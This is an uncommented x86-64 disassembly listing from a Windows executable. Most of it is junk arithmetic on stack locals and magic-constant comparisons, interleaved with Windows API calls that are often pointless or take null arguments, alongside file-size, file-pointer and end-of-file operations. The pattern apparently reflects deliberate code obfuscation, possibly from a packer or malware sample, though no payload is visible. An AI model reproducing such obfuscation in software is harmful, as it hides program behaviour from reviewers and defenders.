mov eax, ecx
mov ecx, dword [rsp + 0x56fc]
mov edx, dword [rsp + 0x57ac]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x1400172cc
mov rax, qword [rsp + 0xb1f8]
mov rcx, qword [0x1401a8380]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb258], rax
mov rax, qword [rsp + 0xb370]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb350]
mov qword [rsp + 0xb3f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb3f8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5758], eax
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0xb1e0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x91a0], rax
mov eax, dword [rsp + 0x5754]
mov ecx, dword [rsp + 0x4bd4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x56fc], eax
movzx eax, word [rsp + 0x1b8c]
mov rcx, qword [rsp + 0xb358]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1bc0], ax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bd0]
and eax, ecx
mov rcx, qword [rsp + 0xb260]
mov word [rcx], ax
call qword [sym.imp.ole32.dll_CoTestCancel]
mov dword [rsp + 0x5828], eax
movzx eax, byte [rsp + 0x378]
mov rcx, qword [rsp + 0xb390]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401a803a], al
mov rax, qword [rsp + 0x8ff0]
mov rcx, qword [0x1401a8380]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa878], rax
mov rax, qword [rsp + 0xb298]
mov rcx, qword [rsp + 0xb280]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb320], rax
lea rcx, [rsp + 0x1bcc]
call qword [sym.imp.ole32.dll_CoGetCallerTID]
mov dword [rsp + 0x5728], eax
jmp 0x140017448
mov rax, qword [rsp + 0xb310]
mov rcx, qword [rsp + 0xb210]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb298]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0xa878]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x140017448
movzx eax, word [rsp + 0x1b90]
mov rcx, qword [rsp + 0xb288]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x12f0], ax
mov rax, qword [rsp + 0xb370]
mov eax, dword [rax]
mov dword [rsp + 0x582c], eax
cmp dword [rsp + 0x582c], 0x38e58000
je 0x140017344
jmp 0x140017419
mov eax, dword [rsp + 0x57ac]
mov ecx, dword [rsp + 0x4bd4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5754], eax
mov rax, qword [rsp + 0xb228]
mov qword [rsp + 0xb400], rax
movzx eax, byte [rsp + 0xe7]
mov byte [rsp + 0x37a], al
mov eax, dword [rsp + 0x571c]
mov ecx, dword [rsp + 0x4a78]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5798], eax
movzx eax, byte [rsp + 0x33b]
mov byte [rsp + 0x37b], al
mov rax, qword [rsp + 0xb358]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x188c]
add eax, ecx
mov word [0x1401e34d8], ax
mov rax, qword [rsp + 0xb388]
movzx eax, byte [rax]
mov rcx, qword [0x1401e34d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x37b], al
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
mov rcx, qword [0x1401e34e0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b9c], ax
movsx eax, word [rsp + 0x1bc8]
movsx ecx, word [rsp + 0x1bb0]
shl eax, cl
mov word [rsp + 0x1534], ax
jmp 0x140017448
mov rax, qword [rsp + 0xb288]
movzx r9d, word [rax]
mov r8, qword [rsp + 0xb210]
mov rax, qword [rsp + 0xb1f0]
movzx edx, byte [rax]
mov rax, qword [rsp + 0xb280]
mov rcx, qword [rax]
call fcn.14015bfb0
mov eax, dword [rsp + 0x5754]
mov ecx, dword [rsp + 0x4bd4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x56fc], eax
mov rax, qword [rsp + 0x8bd8]
mov qword [rsp + 0xb408], rax
mov rax, qword [rsp + 0xb370]
mov eax, dword [rax]
mov ecx, dword [0x1401e34f8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a78], eax
mov rax, qword [rsp + 0xb358]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b8c]
sar eax, cl
movzx ecx, word [rsp + 0x1bc0]
movzx edx, word [0x1401a8390]
and ecx, edx
cmp eax, ecx
je 0x140017553
movzx eax, byte [rsp + 0x115]
mov rcx, qword [rsp + 0xb388]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x37b], al
movzx eax, word [rsp + 0x1bc0]
movzx ecx, word [rsp + 0x188c]
sub eax, ecx
mov word [rsp + 0x12f0], ax
movsx eax, word [rsp + 0x1bb4]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401a8374], ax
mov rax, qword [rsp + 0xb298]
mov rcx, qword [rsp + 0x8ff0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb280]
mov qword [rcx], rax
movzx r9d, word [rsp + 0x1bc0]
mov r8, qword [rsp + 0xb368]
movzx edx, byte [rsp + 0x379]
mov rcx, qword [rsp + 0x9bb8]
call fcn.14015bfb0
mov rax, qword [rsp + 0xb280]
mov rcx, qword [rsp + 0xb298]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb258], rax
cmp dword [rsp + 0x57cc], 0x7316
ja 0x14001793b
mov rax, qword [rsp + 0xb280]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb210]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9bb8], rax
movzx eax, byte [0x1401a803a]
movzx ecx, byte [rsp + 0x232]
and eax, ecx
mov byte [rsp + 0x377], al
movsx eax, byte [rsp + 0x37a]
movsx ecx, byte [rsp + 0x379]
add eax, ecx
mov rcx, qword [rsp + 0xb1f0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb370]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb350]
mov qword [rsp + 0xb410], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb410]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x57b8], eax
lea rdx, [rsp + 0xb3d8]
mov rcx, qword [rsp + 0xb348]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x5744], eax
movzx ecx, word [rsp + 0x1bac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bd8], ax
mov eax, dword [rsp + 0x57ac]
movzx ecx, al
mov eax, dword [rsp + 0x5754]
shl eax, cl
mov dword [rsp + 0x56fc], eax
mov rax, qword [rsp + 0xb308]
mov rcx, qword [rsp + 0xb220]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb228], rax
movsx eax, word [rsp + 0x1b80]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x1401e34e0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb2f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12f0]
sub eax, ecx
mov word [rsp + 0x188c], ax
mov ecx, 0xb
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x5788], eax
movzx eax, word [rsp + 0x1b84]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1b90], ax
mov rax, qword [rsp + 0xb390]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x33b]
sub eax, ecx
mov byte [rsp + 0x2fe], al
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
mov rcx, qword [0x1401e34e0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1bd0], ax
mov eax, dword [rsp + 0x57ac]
mov ecx, dword [rsp + 0x4bd4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5754], eax
mov rax, qword [rsp + 0xb408]
mov rcx, qword [0x1401e34f0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb220]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb350]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5818]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5798], eax
mov rax, qword [rsp + 0xb280]
mov rcx, qword [rsp + 0x9bb8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb258], rax
mov eax, dword [rsp + 0x57cc]
add eax, 0xa7
mov dword [rsp + 0x57cc], eax
mov rax, qword [rsp + 0xb388]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x378]
add eax, ecx
mov byte [0x1401a803a], al
movzx ecx, word [rsp + 0x1bc4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bd8], ax
movsx eax, word [rsp + 0x1534]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1bb0], ax
movzx eax, word [rsp + 0x1ba8]
movzx ecx, word [rsp + 0x1bc0]
shl eax, cl
mov word [rsp + 0x12f0], ax
movsx eax, byte [rsp + 0x379]
mov rcx, qword [rsp + 0xb1f0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x37a], al
mov rax, qword [rsp + 0xb298]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb280]
mov qword [rsp + 0xb418], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb418]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xb310], rax
mov rax, qword [rsp + 0xb350]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5818]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x57b8], eax
mov rax, qword [rsp + 0xb408]
mov rcx, qword [rsp + 0xb1e0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb220]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe7]
sub eax, ecx
mov rcx, qword [rsp + 0xb1f0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb288]
movzx eax, word [rax]
movzx ecx, word [0x1401a8394]
and eax, ecx
mov word [rsp + 0x188c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
lea rdx, [rsp + 0xb3c0]
mov rcx, qword [rsp + 0xb348]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x577c], eax
mov rax, qword [rsp + 0xb3e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x232]
add eax, ecx
mov byte [0x1401a803a], al
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
mov rcx, qword [0x1401e34e0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb260]
mov word [rcx], ax
jmp 0x140017574
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x5830], eax
mov rax, qword [rsp + 0xb1f8]
mov qword [rsp + 0xb420], rax
mov rax, qword [rsp + 0xab18]
mov rcx, qword [rsp + 0xab58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb270], rax
mov rax, qword [rsp + 0xb280]
mov rax, qword [rax]
mov qword [rsp + 0xb428], rax
movabs rax, 0x486efeff9dddb9af
cmp qword [rsp + 0xb428], rax
je 0x1400179a7
jmp 0x140017a5b
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1534]
add eax, ecx
mov word [rsp + 0x1104], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
mov rax, qword [rsp + 0xb308]
mov rcx, qword [rsp + 0xb220]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb268], rax
mov eax, dword [rsp + 0x571c]
mov ecx, dword [rsp + 0x5798]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5818], eax
lea rax, [rsp + 0x56fc]
mov qword [rsp + 0xb430], rax
movzx eax, byte [rsp + 0x2fe]
mov byte [rsp + 0x37c], al
movzx eax, word [rsp + 0x1bc0]
mov rcx, qword [rsp + 0xb358]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e34d8], ax
mov rcx, qword [rsp + 0xb2c8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x573c], eax
jmp 0x140017bad
lea r9, [rsp + 0xb438]
lea r8, [rsp + 0x378]
mov edx, 0x5a
mov rcx, qword [rsp + 0xb438]
call qword [sym.imp.ole32.dll_IsAccelerator]
mov dword [rsp + 0x57a4], eax
mov rax, qword [rsp + 0xb280]
mov rcx, qword [rsp + 0xb298]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa878], rax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x379]
sar eax, cl
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
mov rcx, qword [0x1401e34e0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1bb0], ax
mov rax, qword [rsp + 0xb2f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb358]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1b90], ax
mov eax, dword [rsp + 0x465c]
mov rcx, qword [rsp + 0xb350]
mov qword [rsp + 0xb440], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb440]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5818], eax
lea rax, [rsp + 0x57a4]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xd6
lea rax, [rsp + 0x5814]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xe9
mov r9d, 0x41
lea r8, [rsp + 0xb1f0]
lea rdx, [rsp + 0xb260]
lea rcx, [rsp + 0xb260]
call qword [sym.imp.ole32.dll_CoGetInstanceFromFile]
mov dword [rsp + 0x5834], eax
mov rax, qword [rsp + 0xb280]
mov r9, qword [rax]
mov r8d, dword [rsp + 0x5818]
mov edx, dword [rsp + 0x5818]
mov rax, qword [rsp + 0xb280]
mov rcx, qword [rax]
call fcn.14015c1e0
xor edx, edx
mov rax, qword [rsp + 0xb430]
mov eax, dword [rax]
mov ecx, 0x9137
div ecx
mov dword [rsp + 0x56fc], eax
mov rax, qword [rsp + 0xb420]
imul rax, qword [rsp + 0xb1f8]
mov rcx, qword [rsp + 0xb280]
mov rdx, qword [rsp + 0xb298]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
jg 0x14015b38a
movzx eax, byte [rsp + 0x378]
mov byte [rsp + 0x37d], al
cmp dword [rsp + 0x5724], 0xe6bf
jae 0x1400181b3
lea rcx, [rsp + 0x19340]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xb280]
mov rcx, qword [rsp + 0xb320]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa878], rax
mov rax, qword [rsp + 0xb298]
mov rcx, qword [rsp + 0xb270]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa878], rax
mov rax, qword [rsp + 0xb400]
mov rcx, qword [rsp + 0xb408]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb268], rax
mov rcx, qword [rsp + 0xb238]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x573c], eax
mov rax, qword [rsp + 0xb430]
mov eax, dword [rax]
mov ecx, dword [0x1401a838c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4bd4], eax
mov eax, dword [rsp + 0x5758]
mov ecx, dword [rsp + 0x5808]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x571c], eax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
mov rcx, qword [0x1401e34e0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1bd0], ax
movzx eax, word [rsp + 0x1bc0]
mov rcx, qword [rsp + 0xb358]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401a8378], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x581c], eax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [0x1401a8038]
shl eax, cl
mov byte [rsp + 0xe7], al
movzx eax, byte [rsp + 0x232]
movzx ecx, byte [rsp + 0x377]
and eax, ecx
mov byte [rsp + 0x115], al
mov r9d, 1
lea r8, [rsp + 0xb218]
mov rdx, qword [rsp + 0xb448]
mov rcx, qword [rsp + 0xb1d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x5744], eax
mov rax, qword [rsp + 0xb298]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb210]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb280]
mov qword [rcx], rax
mov rax, qword [0x1401e34e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bd0], ax
mov rax, qword [rsp + 0xb350]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5808]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5758], eax
mov rax, qword [rsp + 0xb220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb1e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb400], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov rax, qword [rsp + 0xb430]
mov ecx, dword [rsp + 0x4bd4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5754], eax
mov rax, qword [rsp + 0xb388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb3e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x378], al
mov rax, qword [rsp + 0xb358]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b84]
sub eax, ecx
mov word [0x1401e34d8], ax
mov rax, qword [rsp + 0xb298]
mov rcx, qword [rsp + 0xb280]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xab18], rax
movsx eax, word [rsp + 0x1104]
movsx ecx, word [rsp + 0x1bb4]
sub eax, ecx
mov rcx, qword [rsp + 0xb260]
mov word [rcx], ax
lea rcx, [rsp + 0xb448]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov eax, dword [rsp + 0x5724]
add eax, 0xaf
mov dword [rsp + 0x5724], eax
mov rax, qword [rsp + 0xb3e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x33b]
or eax, ecx
mov byte [rsp + 0x378], al
mov r9d, 1
lea r8, [rsp + 0xb3d8]
mov rdx, qword [rsp + 0xb3c0]
mov rcx, qword [rsp + 0xb238]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x5788], eax
movzx eax, word [rsp + 0x1b90]
movzx ecx, word [rsp + 0x1ba8]
xor eax, ecx
mov word [rsp + 0x12f0], ax
mov rax, qword [rsp + 0xb350]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb370]
mov qword [rsp + 0xb450], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb450]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5758], eax
mov rax, qword [rsp + 0xb268]
movzx ecx, al
mov rax, qword [rsp + 0xb400]
shr rax, cl
mov qword [rsp + 0xb228], rax
mov rax, qword [rsp + 0xb430]
mov ecx, dword [rsp + 0x4bd4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x56fc], eax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x37a]
sub eax, ecx
mov byte [rsp + 0xe7], al
mov rax, qword [0x1401e34d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x378]
add eax, ecx
mov byte [rsp + 0x33b], al
movsx eax, word [rsp + 0x1ba0]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401a8374], ax
mov rax, qword [rsp + 0xb2f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12f0]
add eax, ecx
mov word [rsp + 0x1b84], ax
lea rcx, [rsp + 0xb458]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xb298]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb258]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb310], rax
mov rax, qword [0x1401e3500]
mov rcx, qword [rsp + 0xb210]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ff0], rax
mov rax, qword [rsp + 0xb430]
mov ecx, dword [rsp + 0x4bd4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x57ac], eax
mov rax, qword [rsp + 0xb220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb1e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8d90], rax
mov rcx, qword [rsp + 0xb1d0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x5744], eax
mov rax, qword [rsp + 0xb370]
mov rcx, qword [rsp + 0xb350]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5798], eax
mov rax, qword [rsp + 0xb288]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bc0]
xor eax, ecx
mov word [rsp + 0x188c], ax
mov rax, qword [rsp + 0xb388]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2fe]
shl eax, cl
mov byte [rsp + 0x378], al
movsx eax, word [rsp + 0x1b94]
movsx ecx, word [rsp + 0x1bb8]
or eax, ecx
mov rcx, qword [0x1401e34e0]
mov word [rcx], ax
mov rax, qword [0x1401a8380]
movzx ecx, al
mov rax, qword [rsp + 0x8ff0]
sar rax, cl
mov qword [rsp + 0xb258], rax
mov rax, qword [rsp + 0xb280]
mov rcx, qword [rsp + 0xb1f8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8ff0], rax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1104]
add eax, ecx
mov word [rsp + 0x1534], ax
mov eax, dword [rsp + 0x5754]
mov ecx, dword [0x1401a838c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4bd4], eax
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xb370]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5758], eax
movsx eax, byte [rsp + 0x37a]
movsx ecx, byte [rsp + 0x379]
sub eax, ecx
mov rcx, qword [rsp + 0xb1f0]
mov byte [rcx], al
jmp 0x140017c09
mov rax, qword [rsp + 0xab18]
mov qword [rsp + 0xb460], rax
movabs rax, 0x73a5b3557dbbc2
cmp qword [rsp + 0xb460], rax
je 0x1400181dc
jmp 0x1400182b1
lea rax, [rsp + 0xb358]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x5758]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xb1f8]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xb2f8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x188c]
lea r8, [rsp + 0xb3e8]
lea rdx, [rsp + 0x56fc]
lea rcx, [rsp + 0x37c]
call qword [sym.imp.ole32.dll_CoQueryProxyBlanket]
mov dword [rsp + 0x57e4], eax
mov rax, qword [rsp + 0xb308]
mov rcx, qword [rsp + 0xb220]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8d90], rax
movzx eax, word [rsp + 0x1bc0]
movzx ecx, word [rsp + 0x1ba8]
sub eax, ecx
mov word [rsp + 0x1b84], ax
mov rax, qword [rsp + 0xb388]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x232]
and eax, ecx
mov byte [0x1401a803a], al
movsx eax, word [0x1401a8374]
movsx ecx, word [rsp + 0x1bb0]
add eax, ecx
mov word [rsp + 0x1bb4], ax
jmp 0x14001836d
movzx eax, word [rsp + 0x1bc0]
mov rcx, qword [rsp + 0xb288]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1b84], ax
movzx eax, byte [rsp + 0x37c]
mov rcx, qword [rsp + 0xb3e8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x115], al
mov eax, dword [rsp + 0x5818]
mov ecx, dword [rsp + 0x5764]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x54ec], eax
mov rax, qword [rsp + 0xb430]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5754]
shl eax, cl
mov dword [rsp + 0x57ac], eax
mov rax, qword [rsp + 0xb220]
mov rax, qword [rax]
mov qword [rsp + 0xb468], rax
movzx eax, word [rsp + 0x1ba8]
movzx ecx, word [rsp + 0x1bc0]
add eax, ecx
mov word [rsp + 0x1b90], ax
mov rax, qword [rsp + 0xb3e8]
movzx eax, byte [rax]
mov byte [rsp + 0x37e], al
lea rcx, [rsp + 0x18590]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
mov rcx, qword [0x1401e34e0]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401a8398], ax
mov rax, qword [rsp + 0xb280]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xab18]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xab58], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov rax, qword [rsp + 0x9bb8]
mov rcx, qword [rsp + 0xb1f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb258], rax
mov rax, qword [rsp + 0xb320]
mov rcx, qword [0x1401a8380]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ea0], rax
movzx eax, byte [rsp + 0x37b]
movzx ecx, byte [rsp + 0x37e]
sub eax, ecx
mov byte [rsp + 0x37d], al
movzx eax, byte [0x1401a8039]
mov byte [rsp + 0x5838], al
cmp byte [rsp + 0x5838], 0
je 0x140018435
jmp 0x1400184bd
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xb470], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb478], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x4bc
mov rcx, qword [rsp + 0xb2c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x573c], eax
mov rax, qword [rsp + 0xb1f0]
movzx eax, byte [rax]
mov byte [rsp + 0x37f], al
mov rax, qword [rsp + 0xb350]
mov ecx, dword [rsp + 0x57b8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5808], eax
jmp 0x1400184da
mov eax, dword [0x1401a8388]
mov ecx, dword [rsp + 0x56fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5754], eax
call fcn.14015c090
mov rax, qword [rsp + 0xb390]
movzx eax, byte [rax]
mov byte [rsp + 0x583c], al
cmp byte [rsp + 0x583c], 0x32
je 0x1400184fb
jmp 0x1400185d4
mov rax, qword [rsp + 0xb370]
mov ecx, dword [rsp + 0x5758]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x465c], eax
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0x8bd8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x91a0], rax
mov edx, dword [rsp + 0x5728]
lea rcx, [rsp + 0xb480]
call qword [sym.imp.ole32.dll_CoMarshalHresult]
mov dword [rsp + 0x5840], eax
mov rax, qword [rsp + 0xb210]
mov rcx, qword [rsp + 0xa878]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb298]
mov qword [rcx], rax
movzx eax, word [rsp + 0x12f0]
mov rcx, qword [rsp + 0xb358]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401a8390], ax
movzx eax, byte [0x1401a803a]
movzx ecx, byte [rsp + 0x37c]
add eax, ecx
mov byte [rsp + 0x37d], al
movsx eax, word [rsp + 0x1bcc]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bb0], ax
lea rcx, [rsp + 0xb350]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
jmp 0x14015b286
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x37a]
sub eax, ecx
mov byte [rsp + 0x379], al
mov rax, qword [rsp + 0xb308]
mov rcx, qword [rsp + 0xb468]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x1401e34e8]
mov rdx, qword [rsp + 0x8bd8]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x140018778
